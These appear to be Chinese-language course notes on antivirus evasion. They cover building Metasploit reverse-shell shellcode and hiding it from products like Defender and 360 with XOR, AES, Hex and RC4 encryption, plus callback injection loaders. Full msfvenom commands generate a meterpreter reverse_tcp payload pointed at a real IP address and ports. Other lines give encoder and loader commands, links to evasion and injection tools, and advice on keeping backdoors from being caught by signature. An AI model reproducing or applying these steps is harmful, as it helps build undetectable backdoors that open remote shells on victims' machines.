知識點
#知識點：
1、ShellCode-分析&朔源&感知
2、ShellCode-混淆&編碼&演算法
3、回撥執行解析-API&彙編&控制代碼
#章節點：
編譯程式碼面-ShellCode-混淆
編譯程式碼面-編輯執行器-編寫
編譯程式碼面-分離載入器-編寫
程式檔案面-特徵碼定位-修改
程式檔案面-加殼花指令-資源
程式碼載入面-Dll反射劫持-載入
許可權邏輯面-防毒程序干擾-結束
工具資料面-通訊記憶體流量-動態
對抗目標：
X60 Defender 某絨 管家 VT等
程式語言：
C/C++ Python C# Go Powershell Ruby Java ASM等
涉及技術：
ShellCode混淆加密，無檔案落地，分離拆分，白名單，DLL載入，Syscall，加殼加花，
資源修改，特徵修改，二次開發CS，記憶體休眠，程序注入，反沙盒，反除錯，CDN解析等
演示案例
1、C/C++-ShellCode分析-OD&IDA&朔源
2、C/C++-ShellCode變異-編碼混淆加密演算法
3、C/C++-回撥執行程式碼-彙編&控制代碼&API&UI等
#C/C++-ShellCode分析-OD&IDA&朔源
1、EXE朔源-IP及埠-防毒分析
2、編譯修改-IP及埠-威脅感知
reverse_tcp.asm
https://www.cnblogs.com/Akkuman/p/12859091.html
https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_tcp.rb
#C/C++-ShellCode變異-編碼混淆加密演算法
Xor Aes Hex Rc4 Rsa等
https://github.com/Arno0x/ShellcodeWrapper
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=47.94.236.117 lport=3333 -f raw > shellcode.raw
1、python2 shellcode_encoder.py -cpp -cs -py shellcode.raw xiaodi xor
CS&MSF
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=47.94.236.117 lport=3333 -f raw > shellcode.raw
python xor.py -s shellcode.bin -d payload.c -n 10 -r out.bin
2、python2 shellcode_encoder.py -cpp -cs -py shellcode.raw xiaodi aes
3、Hex
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6688 -f c
https://gchq.github.io/CyberChef/
https://github.com/ByPassAVTeam/ShellcodeLoader
LoaderMaker.exe download.dat(hex資料) xiaodi.exe(生成檔名)
4、Rc4
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6688 -f c
https://blog.csdn.net/weixin_45590789/article/details/105536623
#C/C++-回撥執行程式碼-彙編&控制代碼&API&UI等
Callback_Shellcode_Injection-main
https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection
總結
今天主要講的是shellcode混淆免殺：
1、首先明確為什麼不對exe型別做手腳，而是對shellcode做手腳？
因為對exe型別做手腳（如加殼）可以免殺，但是可能導致出錯，無法上線。
而對shellcode進行操作，再編譯打包成exe，一般不會有這種問題。
2、殺軟如何檢測到病毒的？
一般是透過逆向分析後門檔案，匹配病毒特徵檢測到的。
3、如何用shellcode實現免殺？
今天講的是使用加密演算法（如XOR、AES、Hex、RC4）對shellcode進行加密混淆，然後解密傳入，實現免殺。
4、為什麼msf或cs上線了，但是一會兒又掉線了，且IP很奇怪？
可能是對方殺軟將後門放在雲沙箱裡執行了。
5、注意事項：實驗完後記得清除後門檔案，不然容易被殺軟捕獲特徵，下一次可能無法免殺了。